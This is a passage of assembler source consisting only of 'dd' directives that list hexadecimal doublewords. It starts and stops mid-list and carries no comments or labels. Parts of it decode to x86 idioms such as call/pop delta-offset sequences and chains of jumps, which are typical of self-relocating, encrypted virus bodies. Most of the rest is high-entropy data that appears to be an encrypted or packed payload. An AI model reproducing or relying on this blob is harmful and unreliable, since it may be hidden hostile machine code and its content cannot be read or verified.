0E71C7585h, 1DB5FF05h, 6A05E728h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 4DF3C356h, 61BD8957h, 5E05E704h, 32CD95FFh dd 0BF6605E7h, 6A4EC8h, 1A1D95FFh, 0C08B05E7h, 93E83DEBh dd 0EF9D430Bh, 9252C9FDh, 4A992794h, 9D86D175h, 6D3D4CB4h dd 40349AC7h, 2558671Eh, 43ED76B8h, 0ED13409Fh, 0D804353Eh dd 0DC0DBF4Bh, 0C35560ACh, 0E4FB4B34h, 438B542Fh, 0E83A1E1Dh dd 8, 0FC221182h, 40A73ECFh, 25C9958Bh, 815805E7h, 63A2C0h dd 0F3BF0F00h, 0B9h, 13E900h, 29CC0000h, 8A6472CEh, 0EE08E1C9h dd 802C9DAEh, 90AC6CC1h, 134FF47h, 258DBD8Bh, 295B05E7h dd 0E70451B5h, 8FEB8105h, 0E95A28ECh, 0Ch, 852790CCh, 0B42BAAC2h dd 4A0F0E02h, 3DBBC381h, 0F3811B81h, 3D6C0983h, 169DF681h dd 8B531C2Eh, 8048FD1h, 511FBA66h, 12E9h, 0AEA15E00h, 0DDAE2E2Eh dd 474BC085h, 162D95EAh, 8135A6F5h, 1DECD0E9h, 2BA6610h dd 0CCC181ACh, 81101DECh, 6CAFCFCAh, 10F98128h, 0FFFFF9Dh dd 0FFFF8485h, 0FF43BFFFh, 8D8D0BC4h, 5EDA31Ch, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0E9C35242h, 885BE1FAh dd 23158D89h, 6A05E7h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1C0424h, 56460000h, 0FAA286C3h, 0FCA3C9ECh, 85C7AE7Eh dd 5E708B9h, 675Ch, 2D95BD8Bh, 85C705E7h, 5E70C99h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 8C35040h dd 0B5FF6621h, 5E72CC5h, 2B599D8Bh, 95FF05E7h, 5E732CDh dd 13A1858Bh, 7E905E7h, 35000000h, 0DDEE4940h, 6AE745h dd 1A1D95FFh, 0C08B05E7h, 0EBD66CEBh, 274FF94Fh, 207CA66Ah dd 0AEC3479Ah, 745B2D98h, 8FB14B5Ah, 9B656A04h, 3768A315h dd 80986B67h, 7C39E4FDh, 22BA08FDh, 0B33EC3D7h, 0EA2A080Dh dd 77E6DE3Ah, 1D814B0Ah, 8BA98004h, 4F231846h, 0BC7F6321h dd 0A67417D3h, 0F2806756h, 66AF2F85h, 7235040h, 7FDF596Dh dd 4A5DFCD8h, 77FF8DD1h, 4E14DDh, 30496A40h, 85C63BE7h dd 5E707F9h, 30DF6856h, 0B5FFA9C5h, 5E72DC5h, 7963858Dh dd 0D0FF05EAh, 0E318D8Dh, 6A5105E7h, 49B5FF40h, 0FF05E72Ah dd 0E716C9B5h, 0FFD0FF05h, 0E72A49B5h, 0C9B5FF05h, 0E805E716h dd 0Fh, 28507F27h, 0CE2B3463h, 59D06D1Ch, 5BFEA5E4h, 4EB835Bh dd 2242CC1h, 22424C1h, 0F7241C03h, 0FF33241Ch, 591F34FFh dd 7888E981h, 0E9812A00h, 24183CEDh, 0F515F181h, 0C89243Dh dd 4EF833Bh, 0F243C3Bh, 1985h, 1EE900h, 0C0BD0000h, 55625BD3h dd 59A3D4CDh, 0A301BB45h, 0CE85EB34h, 0BDE9FF56h, 3FFFFFFh dd 0BBD3208Bh, 0B819D8Dh, 38B05E7h, 840FC00Bh, 7, 5B8B038Bh dd 8B188904h, 15FE9C9h, 8B520000h, 0E860D4h, 5D000000h dd 0A462ED81h, 428B05EDh, 38453D08h, 850F7826h, 138h, 8B0C428Bh dd 0C8D3184Ah, 3630EDBBh, 83C33330h, 858904E8h, 5E72315h dd 8B04588Bh, 10428BF8h, 0D3184A8Bh, 0E8A1BEC8h, 0C633A1A3h dd 0E083C72Bh, 4E883FCh, 8B98589h, 428B05E7h, 99858914h dd 8B05E70Ch, 0E9531842h, 0B0h, 262DB5FFh, 0B9E905E7h dd 0FF000000h, 0E71575B5h, 0AEE905h, 0B5FF0000h, 5E71605h dd 0A3E9h, 0C5B5FF00h, 0E905E708h, 98h, 281DB5FFh, 8DE905E7h dd 0FF000000h, 0E72B19B5h, 82E905h, 0B5FF0000h, 5E7129Dh dd 77E9h, 0DDB5FF00h, 0E905E731h, 6Ch, 19E5B5FFh, 61E905E7h dd 0FF000000h, 0E72CC5B5h, 56E905h, 0B5FF0000h, 5E72D35h dd 4BE9h, 55B5FF00h, 0E905E72Eh, 40h, 15E1B5FFh, 35E905E7h dd 0FF000000h, 0E72AB1B5h, 2AE905h, 0B5FF0000h, 5E72E65h dd 1FE9h, 7DB5FF00h, 0E905E701h, 14h, 0BB8D88Bh, 66000000h dd 8D8DE3F7h, 5EDA4C3h, 0E1FFC803h, 32CD95FFh, 8B5B05E7h dd 0E7231585h, 4583905h, 0F850Fh, 6A530000h, 1D95FF01h dd 5B05E71Ah, 0FFFFE2E9h, 0C35A61FFh, 6AB85A61h, 0FF77D4C9h dd 29858BE0h, 8D05E706h, 0EDA5B18Dh, 1418905h, 7E8C38Bh dd 21000000h, 5208DF8h, 810FFF24h, 6, 17CEC681h, 0F5B7806h dd 686h, 890F00h, 81000000h, 7022C3h, 0EE816600h, 0E768A206h dd 6600001Bh, 59ABA3BFh, 7935F681h, 38B69FEh, 0FE8B6656h dd 0C6F0815Fh, 8A35197Bh, 0AAF081D4h, 664DB561h, 816473BEh dd 62C037E8h, 13E85004h, 0F5000000h, 6D45236Eh, 0BDA9CA9Fh dd 202785BAh, 95F1B61Fh, 0D38B9AC2h, 83038F5Eh, 4B4B02EBh dd 1D3533BFh, 850F493Eh, 0FFFFFFB2h, 298D8DF8h, 6A05EDA7h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 5ADCC353h, 0C5B50360h, 8B05E700h, 0E72EB985h dd 8D896105h, 5E72315h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 28C35646h, 8B985C7h, 6DD405E7h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 58D95AC3h, 0EE8h, 26999B00h, 5BC075B3h, 0A8F78D59h dd 0FA71312h, 295EC0BFh, 0E7080595h, 9985C705h, 5E70Ch dd 0FF000000h, 0E72CC5B5h, 11E905h, 35CD0000h, 625C6D1h dd 8559637Bh, 1AA72804h, 0FF0D0B65h, 0E732CD95h, 0D5BD8B05h dd 6A05E731h, 1D95FF00h, 8B05E71Ah, 0C46CEBC0h, 12F3E692h dd 8009853Ch, 0E24F8EC4h, 0BA5EC4D0h, 0FA2D31D8h, 26968E6Dh dd 7CAD41E2h, 662F0691h, 359522C0h, 4D8916A9h, 0DF75C08Fh dd 28DB2A7Bh, 4E1176C4h, 0E2CD433Bh, 0A2640AD6h, 0A6A2FAE0h dd 7B07D1A4h, 332C16B2h, 845CAFC5h, 0D124E793h, 94272987h dd 0EE6416BAh, 5C042912h, 0DB92C34Bh, 0B10DB2F0h, 0B0D30739h dd 0E929DFB3h, 0ABh, 3F2E8D50h, 5F72B11Ch, 0A7ACABDAh dd 4592B395h, 0B395A1F4h, 0ECABDA00h, 915D20A7h, 0B1F46BB2h dd 20752096h, 6BB79B55h, 92A5BCF2h, 7594A196h, 0B799603Ah dd 99BD329Fh, 9CB2E9B5h, 0A3F292A5h, 0EF7695ACh, 4E0097B1h dd 9FA5B4F9h, 7B6B5C00h, 8A924AF0h, 0F352D000h, 0F653F545h dd 0D6D979A3h, 0E3AFF144h, 7D41F445h, 92B000D7h, 756BBF97h dd 0BFCF60FDh, 93BCF996h, 207D20B2h, 0ABF79B57h, 9EBD9492h dd 9DBCE3B2h, 899BE0CEh, 8F9D728Fh, 0B4EEA9FDh, 0E1B6F66Dh dd 0ED7293BCh, 0E80097B3h, 94E7A601h, 6D83323Dh, 0E960A0C7h dd 133Ah, 0EDAA3168h, 0D51DE905h, 2968FFF9h, 0E905EDABh dd 0FFF9D513h, 0EDABFC68h, 0D509E905h, 0F68FFF9h, 0E905EDADh dd 0FFF9D4FFh, 0EDADA968h, 0D4F5E905h, 5368FFF9h, 0E905EDAEh dd 0FFF9D4EBh, 0EDAEF168h, 0D4E1E905h, 0A168FFF9h, 0E905EDAFh dd 0FFF9D4D7h, 0EDB03C68h, 0D4CDE905h, 8068FFF9h, 0E905EDB1h dd 0FFF9D4C3h, 0EDB27C68h, 0D4B9E905h, 1F68FFF9h, 0E905EDB4h dd 0FFF9D4AFh, 0EDB56D68h, 0D4A5E905h, 0AC68FFF9h, 0E905EDB7h dd 0FFF9D49Bh, 0EDB8D168h, 0D491E905h, 89B7FFF9h, 96B4834Dh dd 86B398B0h, 9A8D9AB6h, 818996BAh, 770E97B9h, 9C7F723h dd 9C7F722h, 7C9E922h, 2CE1038h, 2E9227AFh, 25C6984Ah dd 0C1D49CF6h, 0C6984A7Fh, 9EC82B74h, 6547A52h, 80C6EF39h dd 79BC372Eh, 0EF54DCF9h, 1E6FC375h, 976CFCCDh, 8712B459h dd 0C95CFDBAh, 0AD106EBFh, 0C692F9D7h, 0E4ECEAA1h, 61F26F6Ch dd 4458h, 0EE026A00h, 47FFA72Fh, 0BEBC3F09h, 0EF2B99D5h dd 3588BB83h, 8718C13Ch, 0BCC95CA0h, 0CAAA0F53h, 5FC69298h dd 4F176B53h, 9298866Ah, 7D4C9DC6h, 78340A2Ah, 272B9733h dd 0E67E6264h, 0E661F214h, 0D3h, 547A52E0h, 0C9F13906h dd 74FCD981h, 0FC375E2h, 0B483FF3Eh, 36CB294h, 0CE0E3B09h dd 0B78BABE3h, 1BCB0556h, 0EECC0A34h, 7EFB5C9Fh, 0E5C375E6h dd 0E64D83A3h, 0AA909EA6h, 0F1497159h, 5B8276Dh, 7EC2A7E3h dd 75C37595h, 0DEF9C924h, 19396D12h, 6DB986C8h, 706714Dh dd 0A1F2DB27h, 8CAD0842h, 29C95C81h, 57BEF6D8h, 0FCF57CDFh dd 9DE1D9C1h, 0CC00634Ch, 0CEEE3F00h, 275A99F0h, 3782C4C9h dd 0CCB89471h, 86A92172h, 81AEA298h, 3FCA199h, 0F37021CCh dd 10AA0457h, 35630000h, 2A60CF01h, 327FC404h, 2E79C60Ah dd 4D75C20Eh, 0C3F2C30Dh, 0B59BA3EFh, 0B59BA3EEh, 0B39DBDEEh dd 4E82A4E4h, 0FA4E6B7Bh, 0F9C69848h, 6452DC8Ah, 7BADFA56h dd 35D5F55Bh, 0C11D3D6Ah, 0B07B85E1h, 86D74F85h, 31D418A7h dd 82A33C99h, 0F58C95Ch, 7AF64E33h, 0CB80C692h, 12351ACFh dd 8883EC32h, 267756A4h, 0F6C050C7h, 0CC8C61F1h, 0C6000000h dd 6547A52h, 65B0F139h, 0C375E293h, 28764790h, 75E6E855h dd 0C5973C3h, 75E6C7A9h, 0A2F3DCC3h, 0A78781AEh, 0EDB03C5Bh dd 0F23FD0E5h, 6BB4C95Ch dd 0EBD3DC63h, 0F977B697h, 1D236A35h, 0F0DA2B0Bh, 92FA5325h dd 240750C6h, 18B25399h, 0B891EABDh, 4B6E16CCh, 0C8A55DE5h dd 0BB042A60h, 182B106Ah, 0B08C96F8h, 1FB78075h, 0FF2E0630h dd 96E7C7C1h, 74DB8B45h, 0C32E0D49h, 0CB3AE7D7h, 277021F7h dd 0FB2500Bh, 4D7B0000h, 5278C709h, 4A77DC0Ch, 5671DE72h dd 454DDA76h, 0BBCADB75h, 4D83BBE7h, 4D83BBE6h, 4B85A5E6h dd 468AACFCh, 0E2566363h, 0E1C69849h, 6452C4B2h, 7D4DD85Fh dd 0A980A434h, 2F7E5C7Ch, 0E32572DEh, 525D0DC3h, 5E06547Ah dd 0FFBE48E6h, 4EAD8C41h, 0CB052963h, 2D15337Ch, 0AFF8D12Dh dd 2246453h, 7613D7CEh, 0E6339B7Ah, 0C95CAA19h, 0BA85CD1Eh dd 7F72B191h, 9DA1E8B7h, 5B74F95Eh, 0B088BEE7h, 0D0ACBB17h dd 18A786ADh, 3C9931D4h, 342DDCF3h, 7363BF88h, 83DFFF2Ch dd 0B8344BAAh, 0B1D8FDD5h, 32CA3862h, 554B3D98h, 648CA37h dd 3755CDB3h, 0A4F5C6CAh, 0FC2C735Bh, 62AFF0DAh, 17604644h dd 193318D4h, 0C0A34835h, 0CF6B6D93h, 0EDF8Ch, 5462AE00h dd 5F7FAFF4h, 5D7DAAF1h, 4165A4F3h, 4076A08Fh, 0DA8E2588h dd 0D562EEECh, 0D562EEEEh, 0D378D0F0h, 0B67BD5F9h, 4937B91Ch dd 0C1CCC698h, 547A52E9h, 0D6E62D72h, 7C42A188h, 0C6888D63h dd 5D107EF3h, 262A7BC9h, 0E8E2A349h, 0BA2B1CCDh, 320859CCh dd 0BBB3F54Fh, 0CEC883C8h, 0B3D4ADAh, 2B7A5Ch, 24C0000h dd 12A72FEEh, 0C95D30A4h, 27084293h, 0B70AC6E6h, 0C692ACC3h dd 3B614E5Eh, 726FEA60h, 5FE464B5h, 4B106E4Eh, 0E50h, 3F6A359Fh dd 4BA1DC1Fh, 0DB5004Ah, 8AC9638Bh, 1E0E11B9h, 0C36C1038h dd 0AD9AE0D4h, 25045A7Ah, 92BA99D4h, 0CE666E4Ch, 0F4C55082h dd 6E155026h, 0EECB8382h, 0CC8E15B7h, 0D47B53BCh, 0C58DD1F5h dd 0AEA508F0h, 0E93A0BC8h, 2D7FC08Ah, 301FC709h, 80E93519h dd 785E4EA5h, 0BAEDB222h, 0C8245B9Ah, 8EECF0DBh, 51646EBFh dd 0C287B80Ch, 5B2D88B0h, 58D2B781h, 0E5F2C0Fh, 136D7691h dd 3D9EBA76h, 0DCCh, 0E967575Dh, 0E66A4842h, 0E0685059h dd 0FC6C705Bh, 0FD536B57h, 0C1C9A1D0h, 0DDC857F9h, 0C3C857F9h dd 0C6C66DE3h, 95968E0h, 984FC4ACh, 0FAACDFC6h, 75E25CD8h dd 0B25399C3h, 0F3455018h, 0F0C375E2h, 460E44A7h, 24F1B0F9h dd 0C375E25Ch, 0F6350657h, 638A0A11h, 48FFC7C9h, 0B4C1EDB9h dd 9DA22475h, 0BFF8A28Bh, 6BA15BB7h, 210E361Ah, 0EDF1D8E6h dd 6FBE9Ch, 0EAC9240Ah, 0AA8882A2h, 866A0559h, 75EACF87h dd 8BCCB040h, 634264A4h, 4BDC4192h, 0EB702588h, 0D320C4Fh dd 0CDFB0000h, 0D2F84789h, 0CAF75C8Ch, 0D6F15EF2h, 0C5CD5AF6h dd 3B4A5BF5h, 0CD033B67h, 0CD033B66h, 0CB052566h, 0C60A2C7Ch dd 62D6E3E3h, 61C6984Fh, 7A524432h, 0F92D7254h, 9EFCD8C7h dd 0C9207E4Fh, 61AB94EAh, 5332015Dh, 8AB32D37h, 0A59167D9h dd 0D5000006h, 0A72FEE02h, 638A1E12h, 0C284D5C9h, 0A7722B7Dh dd 0C6984AD1h, 2674424Ch, 3D2C76C7h, 6EC47EE9h, 0C8196Ah dd 0F1CD113Bh, 6D4D5EE1h, 8C744111h, 87C698FAh, 0A10665B6h dd 0C698FAD3h, 933BDA16h, 7C5A44EBh, 8A35801h, 0F7C0CCB0h dd 2550030Ah, 6873CF70h, 0C88h, 2D231B01h, 2A260406h, 2424141Dh dd 20280C1Fh, 212F2F1Bh, 858DE59Ch, 818C9BB5h, 9F8C9BB5h dd 828A91BFh, 0B51DACBCh, 984C9860h, 3E689BC6h, 404A7A52h dd 85CD1162h, 0E270F8DDh, 2273C375h, 9ABCECC3h, 6A6C7F44h dd 0D98AEE66h, 5FADE67h, 0D8E80000h, 0C375E25Ch, 6DD3E6AEh dd 9FC375E2h, 75E2B63Ah, 937C4DC3h, 905C6342h, 78F0C58Dh dd 82C9638Ah, 3792A8AAh, 10533E53h, 0D77852A3h, 0D07FD1F5h dd 0EF88D6F8h, 6F4A1C01h, 0CCB028EAh, 44C1BE8Fh, 0C702570h dd 0BEAA734h, 75A30000h, 6AA08F41h, 72BF8444h, 6EB9864Ah dd 8DB5824Eh, 8332834Dh, 75DBE32Fh, 75DBE32Eh, 73DDFD2Eh dd 0EC2E424h, 3A8E2BBBh, 39C6984Ch, 7A529CCAh, 1162404Ah dd 84AAE2CDh, 7C1A4DB6h, 1756F34Bh, 0E20E72EFh, 167C1483h dd 96B967D9h, 0EB5093ABh, 558h, 2FEE02FFh, 8AB512A7h, 51A2C963h dd 0A9F6D679h, 984AA40Ch, 1D6EBFC6h, 0F23C0333h, 9FB49ECDh dd 0E132C4A2h, 597DAF82h, 0E1C4B005h, 0EB01C698h, 0E6371734h dd 2F9124ECh, 24C698E1h, 0C7D298DBh, 0CCB01302h, 0E64A6F67h dd 0FDC8A1D3h, 6BDE43ACh, 7770253Bh, 0B3A80DBh, 0C5F30000h dd 0DAF05FF1h, 0C2CF54F4h, 0DEC956FAh, 0DDC552FEh, 334253FDh dd 0C50B337Fh, 0C50B337Eh, 0C30D2D7Eh, 0DE725474h, 6ADEFBEBh dd 69C6984Dh, 7A524C3Ah, 0F15E0654h, 58B7F6D6h, 745A7070h dd 0A8F6C726h, 9A8E085Bh, 67D98A0Ah, 4AF3Ah, 57D88C00h dd 95C375E2h, 6AA2828Ah, 0C6177644h, 7114D8E7h, 9C8E9159h dd 709A7FBEh, 0FC9638Ah, 818B943Eh, 848493BDh, 3C745CA2h dd 0E8640A5h, 0DAE02EEBh, 0D917AA89h, 32079234h, 37CCB04Ah dd 731039E6h, 48E07025h, 0A9F13h, 14226E00h, 1F3F6F34h dd 1D3D6A31h, 1256433h, 3660CFh, 9ACEE5C8h, 95A2AEACh dd 95A2AEAEh, 93B890B0h, 76BB95B9h, 52F7795Ch, 818CC698h dd 547A5229h, 0CFEF3906h, 6A6CDFF3h, 0D97F81B9h, 0B23A29B6h dd 829E8DC5h, 20036CFBh, 55FBDBCDh, 0D8BCDE76h, 174EE67h dd 52F80000h, 3906547Ah, 6A01CFEFh, 7CF8786h, 0F144B42Fh dd 3D78FDE4h, 5C4E5F5Ch, 370B54C9h, 9A3FE7AFh, 0C6922916h dd 9167DC2Dh, 92C69229h, 3F856241h, 49C69229h, 841C0482h dd 4061F1BFh, 36h, 2FEE0202h, 0FEB912A7h, 65B6C95Ch, 0E4CAC26Dh dd 5EBCE96h, 1EC692FEh, 7B9AFCCDh, 15C060B5h, 7EC33F7Eh dd 0C692C786h, 0D5BFDBF0h, 61F2693Bh, 0CF09h, 7A525D00h dd 1C62404Ah, 45EAFCCDh, 0D21D6141h, 0A28BD7E7h, 0C32C1251h dd 0CB9BE7D7h, 0E2C2B603h, 0F0C1C375h, 684E5EB5h, 0DDE32512h dd 0B594EACAh, 78D5E464h, 0E3C3760Dh, 0AC4B85A9h, 67574340h dd 0D5E12C1Bh, 8613BB84h, 0C95FA191h, 6ED2E7AFh, 65C69C31h dd 1B64D914h, 4E65FBB3h, 0E5DE6748h, 3763CC86h, 3462C907h dd 9BA9906h, 0DA766A3Bh, 95B81h, 0D0E6D200h, 0DBFBD378h dd 0D9E12E75h, 0DDE12877h, 0DCFA2473h, 5E12A10Ch, 59E66A50h dd 59E66A52h, 57FC6C4Ch, 0CAFF5175h, 534B3D98h, 5D48C698h dd 2F64526Dh, 75E2268Ah, 7B4BB4C3h, 9ACE4410h, 27AFF8C9h dd 0CA292D18h, 0D1EF3906h, 0BC8DD1E9h, 4C37B53h, 0C453B938h dd 1434387Bh, 6547A52h, 4C2EE65Eh, 0A1520D19h, 193D6F42h dd 2AE0437h, 864E0000h, 0C375FBDEh, 3D0EC375h, 75C3F078h dd 4FA2F3C3h, 0C9207E5Eh, 0EE02FCEAh, 7D12A72Fh, 7AC95D0Fh dd 0CEF34550h, 0B9F0C692h, 1A734F6Fh, 0DFA2F8C9h, 0C692CE65h dd 0CDDC6313h, 79B495E9h, 0E8786066h, 0E461F262h, 242h dd 0E255D8EEh, 4CA0C375h, 0B4B40149h, 3FC9638Ah, 715BE4EEh dd 7454E36Dh, 0EC440C52h, 0B38D1B4Ah, 0BDC02391h, 51646E2Fh dd 0CCB0956Ch, 0A6AD1169h, 59407378h, 0D6BE9308h, 0CA667025h dd 85F91h, 0D4E22E00h, 0DFFF2F74h, 0DDFD2A71h, 0C1E52473h dd 0C0F6200Fh, 5A0EA508h, 55E26E6Ch, 55E26E6Eh, 53F85070h dd 36FB5579h, 50B7399Ch, 414CC698h, 206A3569h, 0DCCC2302h dd 0BE9CBAE4h, 90C01E6Fh, 0FF8CD898h, 1E5D2D71h, 694C1933h dd 0C3759E87h, 1C62B39Ch, 2C7C388h dd 0B7B2282Ah, 9A03F63Ah, 3C3802D7h, 0FCD31286h, 68C08AACh dd 767714F0h, 0E16F4E75h, 0D91972E2h, 1845267h, 52140000h dd 3906547Ah, 2F59C6EFh, 38289302h, 755C2B9Dh, 8EDF28C3h dd 5CE393BDh, 72527553h, 0B18CDD21h, 973FDE12h, 5C4E3502h dd 5674DBC9h, 0E403570h, 9229C5ABh, 0BC8DDEC6h, 6B4E765Eh dd 0C6922985h, 0E4754D9Eh, 9578697Ch, 249079B4h, 52C69212h dd 5CD411B9h, 0F7BA19A1h, 9B0E6DF3h, 61F26F09h, 333Bh dd 0EE028F00h, 0B912A72Fh, 4FC95CFEh, 0B78BABE0h, 5CA61756h dd 1ED50272h, 89D52692h, 92DE4034h, 751536C6h, 9FBFEFB0h dd 5257C95Ch, 0D47561F2h, 71000000h, 1D3D6A35h, 0A68DE8C1h dd 0D7A4066h, 0DDE12B05h, 7362DA8Ch, 8B86E819h, 0D21D6540h dd 0E2C0CAFAh, 6A7C4D9Ch, 3F9AC3C5h, 0C3751649h, 0CD28794Ah dd 4842EDF5h, 2D715574h, 5EAFF3DCh, 3618301Fh, 0C3C56A1Ah dd 6F4E9FE3h, 76C00D8Ah, 527454C3h, 2AEB01FEh, 6857F8A0h dd 0FC3F0E6Ch, 5ECD361Bh, 0E8E233C9h, 1E7C5847h, 59E6ECCFh dd 58E76951h, 5C8F616Eh, 0BA281146h, 476F6040h, 6DBE8FB2h dd 3BE9A5B0h, 0E6F54D6Ah, 6BCh, 0D977474Dh, 0D67A5872h dd 0D0784049h, 0EC7C404Bh, 0ED635B47h, 0B1F9B1C0h, 0CDF84789h dd 0D3F84789h, 0D6F65DF3h, 796958F0h, 9856D45Ch, 0CABCEFC6h dd 0FA566452h, 0F55B7BADh, 0ABCC71C9h, 22785E4Eh, 0E572F3CBh dd 527F6B4Ah, 5E06547Ah, 389D4E6h, 64478697h, 113F1F09h dd 2366h, 7A52B000h, 0EF390654h, 4504F3CFh, 9FA5E745h dd 70F8DD90h, 73C375E2h, 0BC8DD122h, 383AFD53h, 6C000000h dd 6547A52h, 0F4D4F15Eh, 0E26BD0B9h, 2BBAC375h, 0EDD57AAFh dd 7DB891EDh, 0BE103616h, 5DDF6A86h, 5894DCB9h, 86FA6730h dd 16DA196Ah, 0E6C6C16Eh, 5CA2828Bh, 35B82E0Dh, 0DE1D3D6Ah dd 0A3EBD9F3h, 1D6EBF83h, 9FDDFDB5h, 38023A67h, 23025F2Ch dd 61A8F7DFh, 8D631E5Dh, 0BB1EC688h, 0C3753535h, 34BEFDCEh dd 6353D1E1h, 331827C9h, 1263D013h, 97B797B8h, 4B03624Bh dd 4E82A4E4h, 3F8EA7E1h, 7C6484D0h, 91597142h, 0F9BE9C8Eh dd 0C69BBB77h, 19ED2A0Ch, 94E04AF6h, 7916684Bh, 9D389273h dd 0CC8D2486h, 0C76862B3h, 8FAFFFC5h, 7B4777A0h, 200FC112h dd 0DFF8C6E8h, 7F5A0C11h, 0C280A96Ah, 0E0611E6Fh, 0E076147Bh dd 56E1348h, 0F13F0000h, 0EE3C0BC5h, 0E3B00C8h, 123502CEh dd 9311E32h, 0FFB61F31h, 0F15F7FABh, 0F15F7FAAh, 8F4161AAh dd 8A4668A0h, 0A60AAF27h, 0BDC69857h, 7D35184Eh, 253B9122h dd 0CF220110h, 0C857F9DDh, 2CD4FEC0h, 758A2789h, 0DBCD3CC3h dd 774BAAFBh, 943E0008h, 8C942F9Ch, 0FC7CB0BFh, 2880DA4Ah dd 6C5B961Ah, 0F83B1268h, 4F6FB986h, 27070473h, 9FBFECDBh dd 9C2EA8E3h, 804545F6h, 2E9FA5A8h, 684B2C09h, 842A0305h dd 7EDDCB06h, 20715577h, 0FA6A79D7h, 3B67D8ABh, 0CE2C2A14h dd 0B698B0FFh, 428E77h, 2D80000h, 0FFA72FEEh, 0E21EE237h dd 0C415C375h, 30B200E9h, 4EA1C95Dh, 0A6287941h, 9BB28C99h dd 850F67BBh, 0ECE34028h, 113F0859h, 924E3A80h, 2C7FC0C6h dd 0C6C62D08h, 0CAC368E0h, 89C794EAh, 13000004h, 2206A35h dd 9FDEFE2Fh, 68B698B0h, 27290D1Fh, 9E62B77Fh, 1CC375E2h dd 0AC884333h, 5122FCh, 0B3529E25h, 0C3CC531Bh, 0E2DFB8FBh dd 0D7C95C49h, 2B63CC86h, 97D6370Bh, 256ED6ABh, 0CCFBC692h dd 4345B288h, 0C08B1F63h, 2ED674C6h, 113B0501h, 4F98F1CDh dd 775D7D6Ch, 61F1C3DDh, 36EFh, 0EE02FB00h, 348FA72Fh dd 0CE14F159h, 3481CD28h, 0C95C465Bh, 0D55B7E50h, 0EEC69236h dd 8B6E4C9Dh, 0C6923629h, 60A8C5Fh, 61F1BA8Eh, 80B6E04Fh dd 11CD8A5h, 52EA0000h, 4A72547Ah, 75E2996Fh, 6A499AC3h dd 0DFFF2B14h, 517EA8F7h, 0B58187B4h, 9DD829F0h, 6C725AA5h dd 9167B27Ah, 1BC375D7h, 2ED04CEDh, 6EBF08D5h, 0C4C4330Fh dd 0EE4B6EE2h, 12C3759Fh, 9D35050Dh, 759FB038h, 362B3C3h dd 0DAC4FC2Ch, 0B78BABE2h, 14340556h, 0E5391D0Fh, 6F6726CAh dd 99E5C9C0h, 5C7975B0h, 0C95C8CEBh, 0E299B780h, 9F470F0Eh dd 0F1B698B0h, 0C6926E0Fh, 0F2F83B04h, 0B801F827h, 4ED1F9CCh dd 0C5247A40h, 0A4D59860h, 0FC439BC8h, 2D7AB142h, 2EA0F1C2h dd 951BBE66h, 0AEC8A420h, 15484254h, 0F8C99FFDh, 4C6856BDh dd 0C5247A5Ch, 0C3CF54F4h, 774F06FBh, 0BF9B7022h, 32F1Ch dd 84B2FE00h, 8FAFFF44h, 8DCDFA41h, 0F1D5F443h, 0F0C6F05Fh dd 6A3E7558h, 65321E3Ch, 65321E3Eh, 63C80020h, 0E6CB0529h dd 5567C9ECh, 317CC698h, 3D6A3559h, 0E2EF5164h, 9BE4C375h dd 1A046B4Ah, 0FBACB235h, 8B349C09h, 0DB90D0F3h, 0DC0C5DAEh dd 0DF715577h, 3F1F0817h, 0EE02EAFCh, 0B912A72Fh, 0B6C95CFEh dd 0F1491965h, 0C211EEC4h, 7EDB1AAAh, 0C692D286h, 0D5BFDBF0h dd 61F25E3Bh, 0DE09h, 7A525D00h, 0F1390654h, 42EDF5C9h dd 30B81D4Ah, 33C375E2h, 7C4D91E2h, 0E6DB5801h, 4646C375h dd 5DD66E60h, 0B93EEE0Bh, 90BFB5F0h, 2F4896B8h, 2F8ADCC1h dd 0C95CE666h, 0CAEC3C73h, 0BF9F8BF4h, 0E8390A63h, 0D5084EE6h dd 7281424Fh, 0AA463D33h, 1AB10792h, 6E4BC692h, 0C6921A9Ah dd 0AEFF4899h, 10A0755Dh, 83CCB872h, 882D62ACh, 0C8A47D20h dd 0BD81D223h, 834B036Ch, 6F8066ABh, 0D4805145h, 87300ABAh dd 0BB96D5F4h, 0BA814F8Fh, 5767508Ch, 0E1422B0Bh, 65437103h dd 2956CB14h, 0C17022EFh, 20A7269h, 95830000h, 8A80AFA1h dd 929FA4A4h, 8E99A6AAh, 0AD95A2AEh, 6312A3ADh, 153B030Fh dd 153B030Eh, 133D1D0Eh, 2E220404h, 1AEECB9Bh, 19C6985Ah dd 6452BCEAh, 7BADFA56h, 52D5F55Bh, 3906547Ah, 3A01CFEFh dd 0D1EECC12h, 0A8507A1Bh, 0BE3D2590h, 694475EAh, 5CDF4780h dd 0FFC32CC9h, 68B698B0h, 0D32F0F1Fh, 598A0CBFh, 92DFF47Ch dd 6DBE8FC6h, 0A4048249h, 30084264h, 0D9B72F20h, 4A86E5CEh dd 877EA29Ah, 0B623331h, 0B6579528h, 99DC541Ch, 0B63B286h dd 7FC9CD78h, 89C4D527h, 7C4278A6h, 0FC69CE2Dh, 0F9CCBA6Fh dd 236552A8h, 0AB834B03h, 63F560E8h, 0B206E305h, 0B1C8BBCDh dd 3A020960h, 58A685E4h, 15173E6Fh, 3988A0B3h, 0AE99E536h dd 0BB045A60h, 0A504B6D0h, 9854A422h, 0BF8DDF5h, 68C29399h dd 450D311Fh, 0C0558870h, 7BBA8BD2h, 0B8123414h, 4EACA897h dd 0F5C23C7Fh, 9FBFEED0h, 0B1196A43h, 55442C89h, 0E5FD2C0h dd 27AFD32Fh, 0CA2C3218h, 5C1A4C19h, 0B82B0AD6h, 414AD51Eh dd 330F2F7Fh, 47AA89DAh, 27EF6145h, 0DFCCDE0Fh, 3073EEE3h dd 14BE5F8Dh, 25E7496Ch, 93FCD2C0h, 0B6BF1A50h, 23D8E93Fh dd 0AC1981DBh, 83EC24E2h, 33B64CBh, 0B791DE20h, 0BF374B97h dd 1F5E22F7h, 455D4E9h, 0D710B629h, 25795D48h, 1F9018BDh dd 4293D4E9h, 618F3271h, 468F2ABCh, 13DEC005h, 7B710EC2h dd 5EBC9A84h, 9C943E0Fh, 2747457h, 0A810A592h, 0ABDEF119h dd 0A02A095Ah, 0E7706515h, 141862D4h, 29E0B3F1h, 